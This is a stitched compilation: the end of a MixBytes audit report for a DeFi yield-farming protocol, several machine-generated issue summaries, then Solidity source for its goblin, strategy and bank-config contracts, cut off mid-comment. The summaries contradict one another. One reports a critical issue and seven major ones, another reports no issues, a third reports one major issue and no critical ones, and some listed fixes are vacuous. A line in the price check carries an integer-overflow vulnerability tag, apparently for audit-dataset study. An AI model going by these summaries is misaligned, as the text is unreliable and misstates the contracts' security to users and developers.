RECOMMENDATION It is recommended to emit special event Migrated in order to keep users up to date. CLIENT'S COMMENTARY This is a base strategy improvement suggestion, out of scope. 2 33.ABOUT MIXBYTES MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build open-source solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy. BLOCKCHAINS Ethereum EOS Cosmos SubstrateTECH STACK Python Rust Solidity C++ CONTACTS https://github.com/mixbytes/audits_public https://mixbytes.io/ hello@mixbytes.io https://t.me/MixBytes https://twitter.com/mixbytes 2 4
Issues Count of Minor/Moderate/Major/Critical: Minor: 3 Moderate: 2 Major: 7 Critical: 1 Minor Issues: 2.1.1 Problem (one line with code reference): Using magic numbers (CMT-1) 2.1.2 Fix (one line with code reference): Replace magic numbers with named constants (CMT-1) 2.1.3 Problem (one line with code reference): Function without logic (CMT-2) 2.1.4 Fix (one line with code reference): Add logic to the function (CMT-2) 2.1.5 Problem (one line with code reference): The unchangeable value of the variable (CMT-3) 2.1.6 Fix (one line with code reference): Make the variable changeable (CMT-3) Moderate: 2.2.1 Problem (one line with code reference): Ignore failure status for CToken (MJR-2) 2.2.2 Fix (one line with code reference): Add check for failure status (MJR-2) Major: 2.3.1 Problem ( Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 0 - Major: 0 - Critical: 0 Observations - No issues were found during the audit. Conclusion - The audit was successful and no issues were found. Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 1 Critical: 0 Major 4.a Problem: It is possible to process a non-existing array element or skip an array element in Strategy.sol#L424. 4.b Fix: It is necessary to correct the index value for the _newPositions array: if (address(lenders[j]) == _newPositions[i].lender). Observations: No critical issues were found, two issues were marked as major because it could lead to some undesired behavior, also several warnings and comments were found and discussed with the client. Conclusion: After working on the reported findings all of them were resolved or acknowledged (if the problem was not critical).
pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "./GoblinConfig.sol"; import "./PriceOracle.sol"; import "./SafeToken.sol"; interface IMasterChefGoblin { function lpToken() external view returns (IUniswapV2Pair); } contract MasterChefGoblinConfig is Ownable, GoblinConfig { using SafeToken for address; using SafeMath for uint256; struct Config { bool acceptDebt; uint64 workFactor; uint64 killFactor; uint64 maxPriceDiff; } PriceOracle public oracle; mapping (address => Config) public goblins; constructor(PriceOracle _oracle) public { oracle = _oracle; } /// @dev Set oracle address. Must be called by owner. function setOracle(PriceOracle _oracle) external onlyOwner { oracle = _oracle; } /// @dev Set goblin configurations. Must be called by owner. function setConfigs(address[] calldata addrs, Config[] calldata configs) external onlyOwner { uint256 len = addrs.length; require(configs.length == len, "bad len"); for (uint256 idx = 0; idx < len; idx++) { goblins[addrs[idx]] = Config({ acceptDebt: configs[idx].acceptDebt, workFactor: configs[idx].workFactor, killFactor: configs[idx].killFactor, maxPriceDiff: configs[idx].maxPriceDiff }); } } /// @dev Return whether the given goblin is stable, presumably not under manipulation. function isStable(address goblin) public view returns (bool) { IUniswapV2Pair lp = IMasterChefGoblin(goblin).lpToken(); address token0 = lp.token0(); address token1 = lp.token1(); // 1. Check that reserves and balances are consistent (within 1%) (uint256 r0, uint256 r1,) = lp.getReserves(); uint256 t0bal = token0.balanceOf(address(lp)); uint256 t1bal = token1.balanceOf(address(lp)); require(t0bal.mul(100) <= r0.mul(101), "bad t0 balance"); require(t1bal.mul(100) <= r1.mul(101), "bad t1 balance"); // 2. Check that price is in the acceptable range (uint256 price, uint256 lastUpdate) = oracle.getPrice(token0, token1); require(lastUpdate >= now - 7 days, "price too stale"); uint256 lpPrice = r1.mul(1e18).div(r0); uint256 maxPriceDiff = goblins[goblin].maxPriceDiff; //SWC-Integer Overflow and Underflow: L68-L69 require(lpPrice <= price.mul(maxPriceDiff).div(10000), "price too high"); require(lpPrice >= price.mul(10000).div(maxPriceDiff), "price too low"); // 3. Done return true; } /// @dev Return whether the given goblin accepts more debt. function acceptDebt(address goblin) external view returns (bool) { require(isStable(goblin), "!stable"); return goblins[goblin].acceptDebt; } /// @dev Return the work factor for the goblin + ETH debt, using 1e4 as denom. function workFactor(address goblin, uint256 /* debt */) external view returns (uint256) { require(isStable(goblin), "!stable"); return uint256(goblins[goblin].workFactor); } /// @dev Return the kill factor for the goblin + ETH debt, using 1e4 as denom. function killFactor(address goblin, uint256 /* debt */) external view returns (uint256) { require(isStable(goblin), "!stable"); return uint256(goblins[goblin].killFactor); } } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/v2-core/contracts/libraries/Math.sol"; import "./uniswap/IUniswapV2Router02.sol"; import "./SafeToken.sol"; import "./Strategy.sol"; contract StrategyAddTwoSidesOptimal is Ownable, ReentrancyGuard, Strategy { using SafeToken for address; using SafeMath for uint256; IUniswapV2Factory public factory; IUniswapV2Router02 public router; address public weth; address public goblin; /// @dev Create a new add two-side optimal strategy instance. /// @param _router The Uniswap router smart contract. constructor(IUniswapV2Router02 _router, address _goblin) public { factory = IUniswapV2Factory(_router.factory()); router = _router; weth = _router.WETH(); goblin = _goblin; } /// @dev Throws if called by any account other than the goblin. modifier onlyGoblin() { require(isGoblin(), "caller is not the goblin"); _; } /// @dev Returns true if the caller is the current goblin. function isGoblin() public view returns (bool) { return msg.sender == goblin; } /// @dev Compute optimal deposit amount /// @param amtA amount of token A desired to deposit /// @param amtB amonut of token B desired to deposit /// @param resA amount of token A in reserve /// @param resB amount of token B in reserve function optimalDeposit( uint256 amtA, uint256 amtB, uint256 resA, uint256 resB ) internal pure returns (uint256 swapAmt, bool isReversed) { if (amtA.mul(resB) >= amtB.mul(resA)) { swapAmt = _optimalDepositA(amtA, amtB, resA, resB); isReversed = false; } else { swapAmt = _optimalDepositA(amtB, amtA, resB, resA); isReversed = true; } } /// @dev Compute optimal deposit amount helper /// @param amtA amount of token A desired to deposit /// @param amtB amonut of token B desired to deposit /// @param resA amount of token A in reserve /// @param resB amount of token B in reserve function _optimalDepositA( uint256 amtA, uint256 amtB, uint256 resA, uint256 resB ) internal pure returns (uint256) { require(amtA.mul(resB) >= amtB.mul(resA), "Reversed"); uint256 a = 998; uint256 b = uint256(1998).mul(resA); uint256 _c = (amtA.mul(resB)).sub(amtB.mul(resA)); uint256 c = _c.mul(1000).div(amtB.add(resB)).mul(resA); uint256 d = a.mul(c).mul(4); uint256 e = Math.sqrt(b.mul(b).add(d)); uint256 numerator = e.sub(b); uint256 denominator = a.mul(2); return numerator.div(denominator); } /// @dev Execute worker strategy. Take LP tokens + ETH. Return LP tokens + ETH. /// @param user User address /// @param data Extra calldata information passed along to this strategy. function execute(address user, uint256, /* debt */ bytes calldata data) external payable onlyGoblin nonReentrant { // 1. Find out what farming token we are dealing with. (address fToken, uint256 fAmount, uint256 minLPAmount) = abi.decode(data, (address, uint256, uint256)); IUniswapV2Pair lpToken = IUniswapV2Pair(factory.getPair(fToken, weth)); // 2. Compute the optimal amount of ETH and fToken to be converted. if (fAmount > 0) { fToken.safeTransferFrom(user, address(this), fAmount); } uint256 ethBalance = address(this).balance; uint256 swapAmt; bool isReversed; { (uint256 r0, uint256 r1, ) = lpToken.getReserves(); (uint256 ethReserve, uint256 fReserve) = lpToken.token0() == weth ? (r0, r1) : (r1, r0); (swapAmt, isReversed) = optimalDeposit(ethBalance, fToken.myBalance(), ethReserve, fReserve); } // 3. Convert between ETH and farming tokens fToken.safeApprove(address(router), 0); fToken.safeApprove(address(router), uint256(-1)); address[] memory path = new address[](2); (path[0], path[1]) = isReversed ? (fToken, weth) : (weth, fToken); if (isReversed) { router.swapExactTokensForETH(swapAmt, 0, path, address(this), now); // farming tokens to ETH } else { router.swapExactETHForTokens.value(swapAmt)(0, path, address(this), now); // ETH to farming tokens } // 4. Mint more LP tokens and return all LP tokens to the sender. (,, uint256 moreLPAmount) = router.addLiquidityETH.value(address(this).balance)( fToken, fToken.myBalance(), 0, 0, address(this), now ); require(moreLPAmount >= minLPAmount, "insufficient LP tokens received"); lpToken.transfer(msg.sender, lpToken.balanceOf(address(this))); } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } function() external payable {} } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "./BankConfig.sol"; contract SimpleBankConfig is BankConfig, Ownable { /// @notice Configuration for each goblin. struct GoblinConfig { bool isGoblin; bool acceptDebt; uint256 workFactor; uint256 killFactor; } /// The minimum ETH debt size per position. uint256 public minDebtSize; /// The interest rate per second, multiplied by 1e18. uint256 public interestRate; /// The portion of interests allocated to the reserve pool. uint256 public getReservePoolBps; /// The reward for successfully killing a position. uint256 public getKillBps; /// Mapping for goblin address to its configuration. mapping (address => GoblinConfig) public goblins; constructor( uint256 _minDebtSize, uint256 _interestRate, uint256 _reservePoolBps, uint256 _killBps ) public { setParams(_minDebtSize, _interestRate, _reservePoolBps, _killBps); } /// @dev Set all the basic parameters. Must only be called by the owner. /// @param _minDebtSize The new minimum debt size value. /// @param _interestRate The new interest rate per second value. /// @param _reservePoolBps The new interests allocated to the reserve pool value. /// @param _killBps The new reward for killing a position value. function setParams( uint256 _minDebtSize, uint256 _interestRate, uint256 _reservePoolBps, uint256 _killBps ) public onlyOwner { minDebtSize = _minDebtSize; interestRate = _interestRate; getReservePoolBps = _reservePoolBps; getKillBps = _killBps; } /// @dev Set the configuration for the given goblin. Must only be called by the owner. /// @param goblin The goblin address to set configuration. /// @param _isGoblin Whether the given address is a valid goblin. /// @param _acceptDebt Whether the goblin is accepting new debts. /// @param _workFactor The work factor value for this goblin. /// @param _killFactor The kill factor value for this goblin. function setGoblin( address goblin, bool _isGoblin, bool _acceptDebt, uint256 _workFactor, uint256 _killFactor ) public onlyOwner { goblins[goblin] = GoblinConfig({ isGoblin: _isGoblin, acceptDebt: _acceptDebt, workFactor: _workFactor, killFactor: _killFactor }); } /// @dev Return the interest rate per second, using 1e18 as denom. function getInterestRate(uint256 /* debt */, uint256 /* floating */) external view returns (uint256) { return interestRate; } /// @dev Return whether the given address is a goblin. function isGoblin(address goblin) external view returns (bool) { return goblins[goblin].isGoblin; } /// @dev Return whether the given goblin accepts more debt. Revert on non-goblin. function acceptDebt(address goblin) external view returns (bool) { require(goblins[goblin].isGoblin, "!goblin"); return goblins[goblin].acceptDebt; } /// @dev Return the work factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin. function workFactor(address goblin, uint256 /* debt */) external view returns (uint256) { require(goblins[goblin].isGoblin, "!goblin"); return goblins[goblin].workFactor; } /// @dev Return the kill factor for the goblin + ETH debt, using 1e4 as denom. Revert on non-goblin. function killFactor(address goblin, uint256 /* debt */) external view returns (uint256) { require(goblins[goblin].isGoblin, "!goblin"); return goblins[goblin].killFactor; } } pragma solidity 0.5.16; interface PriceOracle { /// @dev Return the wad price of token0/token1, multiplied by 1e18 /// NOTE: (if you have 1 token0 how much you can sell it for token1) function getPrice(address token0, address token1) external view returns (uint256 price, uint256 lastUpdate); } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol"; import "openzeppelin-solidity-2.3.0/contracts/token/ERC20/IERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/v2-core/contracts/libraries/Math.sol"; import "./uniswap/IUniswapV2Router02.sol"; import "./Strategy.sol"; import "./SafeToken.sol"; import "./Goblin.sol"; import "./interfaces/IMasterChef.sol"; contract MasterChefGoblin is Ownable, ReentrancyGuard, Goblin { /// @notice Libraries using SafeToken for address; using SafeMath for uint256; /// @notice Events event Reinvest(address indexed caller, uint256 reward, uint256 bounty); event AddShare(uint256 indexed id, uint256 share); event RemoveShare(uint256 indexed id, uint256 share); event Liquidate(uint256 indexed id, uint256 wad); /// @notice Immutable variables IMasterChef public masterChef; IUniswapV2Factory public factory; IUniswapV2Router02 public router; IUniswapV2Pair public lpToken; address public weth; address public fToken; address public rewardToken; address public operator; uint256 public pid; /// @notice Mutable state variables mapping(uint256 => uint256) public shares; mapping(address => bool) public okStrats; uint256 public totalShare; Strategy public addStrat; Strategy public liqStrat; uint256 public reinvestBountyBps; constructor( address _operator, IMasterChef _masterChef, IUniswapV2Router02 _router, uint256 _pid, Strategy _addStrat, Strategy _liqStrat, uint256 _reinvestBountyBps ) public { operator = _operator; weth = _router.WETH(); masterChef = _masterChef; router = _router; factory = IUniswapV2Factory(_router.factory()); // Get lpToken and fToken from MasterChef pool pid = _pid; (IERC20 _lpToken, , , ) = masterChef.poolInfo(_pid); lpToken = IUniswapV2Pair(address(_lpToken)); address token0 = lpToken.token0(); address token1 = lpToken.token1(); fToken = token0 == weth ? token1 : token0; rewardToken = address(masterChef.cake()); addStrat = _addStrat; liqStrat = _liqStrat; okStrats[address(addStrat)] = true; okStrats[address(liqStrat)] = true; reinvestBountyBps = _reinvestBountyBps; lpToken.approve(address(_masterChef), uint256(-1)); // 100% trust in the staking pool lpToken.approve(address(router), uint256(-1)); // 100% trust in the router fToken.safeApprove(address(router), uint256(-1)); // 100% trust in the router rewardToken.safeApprove(address(router), uint256(-1)); // 100% trust in the router } /// @dev Require that the caller must be an EOA account to avoid flash loans. modifier onlyEOA() { require(msg.sender == tx.origin, "not eoa"); _; } /// @dev Require that the caller must be the operator (the bank). modifier onlyOperator() { require(msg.sender == operator, "not operator"); _; } /// @dev Return the entitied LP token balance for the given shares. /// @param share The number of shares to be converted to LP balance. function shareToBalance(uint256 share) public view returns (uint256) { if (totalShare == 0) return share; // When there's no share, 1 share = 1 balance. (uint256 totalBalance, ) = masterChef.userInfo(pid, address(this)); return share.mul(totalBalance).div(totalShare); } /// @dev Return the number of shares to receive if staking the given LP tokens. /// @param balance the number of LP tokens to be converted to shares. function balanceToShare(uint256 balance) public view returns (uint256) { if (totalShare == 0) return balance; // When there's no share, 1 share = 1 balance. (uint256 totalBalance, ) = masterChef.userInfo(pid, address(this)); return balance.mul(totalShare).div(totalBalance); } /// @dev Re-invest whatever this worker has earned back to staked LP tokens. function reinvest() public onlyEOA nonReentrant { // 1. Withdraw all the rewards. masterChef.withdraw(pid, 0); uint256 reward = rewardToken.balanceOf(address(this)); if (reward == 0) return; // 2. Send the reward bounty to the caller. uint256 bounty = reward.mul(reinvestBountyBps) / 10000; rewardToken.safeTransfer(msg.sender, bounty); // 3. Convert all the remaining rewards to ETH. address[] memory path = new address[](2); path[0] = address(rewardToken); path[1] = address(weth); router.swapExactTokensForETH(reward.sub(bounty), 0, path, address(this), now); // 4. Use add ETH strategy to convert all ETH to LP tokens. addStrat.execute.value(address(this).balance)(address(0), 0, abi.encode(fToken, 0)); // 5. Mint more LP tokens and stake them for more rewards. masterChef.deposit(pid, lpToken.balanceOf(address(this))); emit Reinvest(msg.sender, reward, bounty); } /// @dev Work on the given position. Must be called by the operator. /// @param id The position ID to work on. /// @param user The original user that is interacting with the operator. /// @param debt The amount of user debt to help the strategy make decisions. /// @param data The encoded data, consisting of strategy address and calldata. function work(uint256 id, address user, uint256 debt, bytes calldata data) external payable onlyOperator nonReentrant { // 1. Convert this position back to LP tokens. _removeShare(id); // 2. Perform the worker strategy; sending LP tokens + ETH; expecting LP tokens + ETH. (address strat, bytes memory ext) = abi.decode(data, (address, bytes)); require(okStrats[strat], "unapproved work strategy"); lpToken.transfer(strat, lpToken.balanceOf(address(this))); Strategy(strat).execute.value(msg.value)(user, debt, ext); // 3. Add LP tokens back to the farming pool. _addShare(id); // 4. Return any remaining ETH back to the operator. SafeToken.safeTransferETH(msg.sender, address(this).balance); } /// @dev Return maximum output given the input amount and the status of Uniswap reserves. /// @param aIn The amount of asset to market sell. /// @param rIn the amount of asset in reserve for input. /// @param rOut The amount of asset in reserve for output. function getMktSellAmount(uint256 aIn, uint256 rIn, uint256 rOut) public pure returns (uint256) { if (aIn == 0) return 0; require(rIn > 0 && rOut > 0, "bad reserve values"); uint256 aInWithFee = aIn.mul(997); uint256 numerator = aInWithFee.mul(rOut); uint256 denominator = rIn.mul(1000).add(aInWithFee); return numerator / denominator; } /// @dev Return the amount of ETH to receive if we are to liquidate the given position. /// @param id The position ID to perform health check. function health(uint256 id) external view returns (uint256) { // 1. Get the position's LP balance and LP total supply. uint256 lpBalance = shareToBalance(shares[id]); uint256 lpSupply = lpToken.totalSupply(); // Ignore pending mintFee as it is insignificant // 2. Get the pool's total supply of WETH and farming token. (uint256 r0, uint256 r1,) = lpToken.getReserves(); (uint256 totalWETH, uint256 totalfToken) = lpToken.token0() == weth ? (r0, r1) : (r1, r0); // 3. Convert the position's LP tokens to the underlying assets. uint256 userWETH = lpBalance.mul(totalWETH).div(lpSupply); uint256 userfToken = lpBalance.mul(totalfToken).div(lpSupply); // 4. Convert all farming tokens to ETH and return total ETH. return getMktSellAmount( userfToken, totalfToken.sub(userfToken), totalWETH.sub(userWETH) ).add(userWETH); } /// @dev Liquidate the given position by converting it to ETH and return back to caller. /// @param id The position ID to perform liquidation function liquidate(uint256 id) external onlyOperator nonReentrant { // 1. Convert the position back to LP tokens and use liquidate strategy. _removeShare(id); lpToken.transfer(address(liqStrat), lpToken.balanceOf(address(this))); liqStrat.execute(address(0), 0, abi.encode(fToken, 0)); // 2. Return all available ETH back to the operator. uint256 wad = address(this).balance; SafeToken.safeTransferETH(msg.sender, wad); emit Liquidate(id, wad); } /// @dev Internal function to stake all outstanding LP tokens to the given position ID. function _addShare(uint256 id) internal { uint256 balance = lpToken.balanceOf(address(this)); if (balance > 0) { uint256 share = balanceToShare(balance); masterChef.deposit(pid, balance); shares[id] = shares[id].add(share); totalShare = totalShare.add(share); emit AddShare(id, share); } } /// @dev Internal function to remove shares of the ID and convert to outstanding LP tokens. function _removeShare(uint256 id) internal { uint256 share = shares[id]; if (share > 0) { uint256 balance = shareToBalance(share); masterChef.withdraw(pid, balance); totalShare = totalShare.sub(share); shares[id] = 0; emit RemoveShare(id, share); } } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } /// @dev Set the reward bounty for calling reinvest operations. /// @param _reinvestBountyBps The bounty value to update. function setReinvestBountyBps(uint256 _reinvestBountyBps) external onlyOwner { reinvestBountyBps = _reinvestBountyBps; } /// @dev Set the given strategies' approval status. /// @param strats The strategy addresses. /// @param isOk Whether to approve or unapprove the given strategies. function setStrategyOk(address[] calldata strats, bool isOk) external onlyOwner { uint256 len = strats.length; for (uint256 idx = 0; idx < len; idx++) { okStrats[strats[idx]] = isOk; } } /// @dev Update critical strategy smart contracts. EMERGENCY ONLY. Bad strategies can steal funds. /// @param _addStrat The new add strategy contract. /// @param _liqStrat The new liquidate strategy contract. function setCriticalStrategies(Strategy _addStrat, Strategy _liqStrat) external onlyOwner { addStrat = _addStrat; liqStrat = _liqStrat; } function() external payable {} } pragma solidity 0.5.16; import "openzeppelin-solidity-2.3.0/contracts/ownership/Ownable.sol"; import "openzeppelin-solidity-2.3.0/contracts/math/SafeMath.sol"; import "openzeppelin-solidity-2.3.0/contracts/utils/ReentrancyGuard.sol"; import "openzeppelin-solidity-2.3.0/contracts/token/ERC20/IERC20.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; import "@uniswap/v2-core/contracts/libraries/Math.sol"; import "./uniswap/IUniswapV2Router02.sol"; import "./Strategy.sol"; import "./SafeToken.sol"; import "./Goblin.sol"; import "./interfaces/IMasterChef.sol"; // MasterChefPoolRewardPairGoblin is specific for REWARDSTOKEN-BNB pool in Farm. // Such as, fToken = CAKE and pid = 1. contract MasterChefPoolRewardPairGoblin is Ownable, ReentrancyGuard, Goblin { /// @notice Libraries using SafeToken for address; using SafeMath for uint256; /// @notice Events event Reinvest(address indexed caller, uint256 reward, uint256 bounty); event AddShare(uint256 indexed id, uint256 share); event RemoveShare(uint256 indexed id, uint256 share); event Liquidate(uint256 indexed id, uint256 wad); /// @notice Immutable variables IMasterChef public masterChef; IUniswapV2Factory public factory; IUniswapV2Router02 public router; IUniswapV2Pair public lpToken; address public weth; address public rewardToken; address public operator; uint256 public constant pid = 12; /// @notice Mutable state variables mapping(uint256 => uint256) public shares; mapping(address => bool) public okStrats; uint256 public totalShare; Strategy public addStrat; Strategy public liqStrat; uint256 public reinvestBountyBps; constructor( address _operator, IMasterChef _masterChef, IUniswapV2Router02 _router, Strategy _addStrat, Strategy _liqStrat, uint256 _reinvestBountyBps ) public { operator = _operator; weth = _router.WETH(); masterChef = _masterChef; router = _router; factory = IUniswapV2Factory(_router.factory()); (IERC20 _lpToken, , , ) = masterChef.poolInfo(pid); lpToken = IUniswapV2Pair(address(_lpToken)); rewardToken = address(masterChef.cake()); addStrat = _addStrat; liqStrat = _liqStrat; okStrats[address(addStrat)] = true; okStrats[address(liqStrat)] = true; reinvestBountyBps = _reinvestBountyBps; lpToken.approve(address(_masterChef), uint256(-1)); // 100% trust in the staking pool lpToken.approve(address(router), uint256(-1)); // 100% trust in the router rewardToken.safeApprove(address(router), uint256(-1)); // 100% trust in the router } /// @dev Require that the caller must be an EOA account to avoid flash loans. modifier onlyEOA() { require(msg.sender == tx.origin, "not eoa"); _; } /// @dev Require that the caller must be the operator (the bank). modifier onlyOperator() { require(msg.sender == operator, "not operator"); _; } /// @dev Return the entitied LP token balance for the given shares. /// @param share The number of shares to be converted to LP balance. function shareToBalance(uint256 share) public view returns (uint256) { if (totalShare == 0) return share; // When there's no share, 1 share = 1 balance. (uint256 totalBalance, ) = masterChef.userInfo(pid, address(this)); return share.mul(totalBalance).div(totalShare); } /// @dev Return the number of shares to receive if staking the given LP tokens. /// @param balance the number of LP tokens to be converted to shares. function balanceToShare(uint256 balance) public view returns (uint256) { if (totalShare == 0) return balance; // When there's no share, 1 share = 1 balance. (uint256 totalBalance, ) = masterChef.userInfo(pid, address(this)); return balance.mul(totalShare).div(totalBalance); } /// @dev Re-invest whatever this worker has earned back to staked LP tokens. function reinvest() public onlyEOA nonReentrant { // 1. Withdraw all the rewards. masterChef.withdraw(pid, 0); uint256 reward = rewardToken.balanceOf(address(this)); if (reward == 0) return; // 2. Send the reward bounty to the caller. uint256 bounty = reward.mul(reinvestBountyBps) / 10000; rewardToken.safeTransfer(msg.sender, bounty); // 3. Use add Two-side optimal strategy to convert rewardToken to ETH and add // liquidity to get LP tokens. rewardToken.safeTransfer(address(addStrat), reward.sub(bounty)); addStrat.execute(address(this), 0, abi.encode(rewardToken, 0, 0)); // 4. Mint more LP tokens and stake them for more rewards. masterChef.deposit(pid, lpToken.balanceOf(address(this))); emit Reinvest(msg.sender, reward, bounty); } /// @dev Work on the given position. Must be called by the operator. /// @param id The position ID to work on. /// @param user The original user that is interacting with the operator. /// @param debt The amount of user debt to help the strategy make decisions. /// @param data The encoded data, consisting of strategy address and calldata. function work(uint256 id, address user, uint256 debt, bytes calldata data) external payable onlyOperator nonReentrant { // 1. Convert this position back to LP tokens. _removeShare(id); // 2. Perform the worker strategy; sending LP tokens + ETH; expecting LP tokens + ETH. (address strat, bytes memory ext) = abi.decode(data, (address, bytes)); require(okStrats[strat], "unapproved work strategy"); lpToken.transfer(strat, lpToken.balanceOf(address(this))); Strategy(strat).execute.value(msg.value)(user, debt, ext); // 3. Add LP tokens back to the farming pool. _addShare(id); // 4. Return any remaining ETH back to the operator. SafeToken.safeTransferETH(msg.sender, address(this).balance); } /// @dev Return maximum output given the input amount and the status of Uniswap reserves. /// @param aIn The amount of asset to market sell. /// @param rIn the amount of asset in reserve for input. /// @param rOut The amount of asset in reserve for output. function getMktSellAmount(uint256 aIn, uint256 rIn, uint256 rOut) public pure returns (uint256) { if (aIn == 0) return 0; require(rIn > 0 && rOut > 0, "bad reserve values"); uint256 aInWithFee = aIn.mul(997); uint256 numerator = aInWithFee.mul(rOut); uint256 denominator = rIn.mul(1000).add(aInWithFee); return numerator / denominator; } /// @dev Return the amount of ETH to receive if we are to liquidate the given position. /// @param id The position ID to perform health check. function health(uint256 id) external view returns (uint256) { // 1. Get the position's LP balance and LP total supply. uint256 lpBalance = shareToBalance(shares[id]); uint256 lpSupply = lpToken.totalSupply(); // Ignore pending mintFee as it is insignificant // 2. Get the pool's total supply of WETH and farming token. (uint256 r0, uint256 r1,) = lpToken.getReserves(); (uint256 totalWETH, uint256 totalSushi) = lpToken.token0() == weth ? (r0, r1) : (r1, r0); // 3. Convert the position's LP tokens to the underlying assets. uint256 userWETH = lpBalance.mul(totalWETH).div(lpSupply); uint256 userSushi = lpBalance.mul(totalSushi).div(lpSupply); // 4. Convert all farming tokens to ETH and return total ETH. return getMktSellAmount( userSushi, totalSushi.sub(userSushi), totalWETH.sub(userWETH) ).add(userWETH); } /// @dev Liquidate the given position by converting it to ETH and return back to caller. /// @param id The position ID to perform liquidation function liquidate(uint256 id) external onlyOperator nonReentrant { // 1. Convert the position back to LP tokens and use liquidate strategy. _removeShare(id); lpToken.transfer(address(liqStrat), lpToken.balanceOf(address(this))); liqStrat.execute(address(0), 0, abi.encode(rewardToken, 0)); // 2. Return all available ETH back to the operator. uint256 wad = address(this).balance; SafeToken.safeTransferETH(msg.sender, wad); emit Liquidate(id, wad); } /// @dev Internal function to stake all outstanding LP tokens to the given position ID. function _addShare(uint256 id) internal { uint256 balance = lpToken.balanceOf(address(this)); if (balance > 0) { uint256 share = balanceToShare(balance); masterChef.deposit(pid, balance); shares[id] = shares[id].add(share); totalShare = totalShare.add(share); emit AddShare(id, share); } } /// @dev Internal function to remove shares of the ID and convert to outstanding LP tokens. function _removeShare(uint256 id) internal { uint256 share = shares[id]; if (share > 0) { uint256 balance = shareToBalance(share); masterChef.withdraw(pid, balance); totalShare = totalShare.sub(share); shares[id] = 0; emit RemoveShare(id, share); } } /// @dev Recover ERC20 tokens that were accidentally sent to this smart contract. /// @param token The token contract. Can be anything. This contract should not hold ERC20 tokens. /// @param to The address to send the tokens to. /// @param value The number of tokens to transfer to `to`. function recover(address token, address to, uint256 value) external onlyOwner nonReentrant { token.safeTransfer(to, value); } /// @dev Set the reward bounty for calling reinvest operations. /// @param _reinvestBountyBps The bounty value to update. function setReinvestBountyBps(uint256 _reinvestBountyBps) external onlyOwner { reinvestBountyBps = _reinvestBountyBps; } /// @dev Set the given strategies' approval status. /// @param strats The strategy addresses. /// @param isOk Whether to approve or unapprove the given strategies. function setStrategyOk(address[] calldata strats, bool isOk) external onlyOwner { uint256 len = strats.length; for (uint256 idx = 0; idx < len; idx++) { okStrats[strats[idx]] = isOk; } } /// @dev Update critical strategy smart contracts. EMERGENCY ONLY. Bad strategies can steal funds. /// @param _addStrat The new add strategy contract. /// @param _liqStrat The new liquidate strategy contract. function setCriticalStrategies(Strategy _addStrat, Strategy _liqStrat) external onlyOwner { addStrat = _addStrat; liqStrat = _liqStrat; } function() external payable {} } pragma solidity 0.5.16; interface Strategy { /// @dev Execute worker strategy. Take LP tokens + ETH. Return LP tokens + ETH. /// @param user The original user that is interacting with the operator. /// @param debt The user's total debt, for better decision making context. /// @param data Extra calldata information passed along to this strategy. function execute(address user, uint256 debt, bytes calldata data) external payable; } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract Migrations { address public owner = msg.sender; uint public last_completed_migration; modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } } pragma solidity 0.5.16; interface ERC20Interface { function balanceOf(address user) external view returns (uint256); } library SafeToken { function myBalance(address token) internal view returns (uint256) { return ERC20Interface(token).balanceOf(address(this)); } function balanceOf(address token, address user) internal view returns (uint256) { return ERC20Interface(token).balanceOf(user); } function safeApprove(address token, address to, uint256 value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeApprove"); } function safeTransfer(address token, address to, uint256 value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransfer"); } function safeTransferFrom(address token, address from, address to, uint256 value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), "!safeTransferFrom"); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call.value(value)(new bytes(0)); require(success, "!safeTransferETH"); } } pragma solidity 0.5.16; interface Goblin { /// @dev Work on a (potentially new) position. Optionally send ETH back to 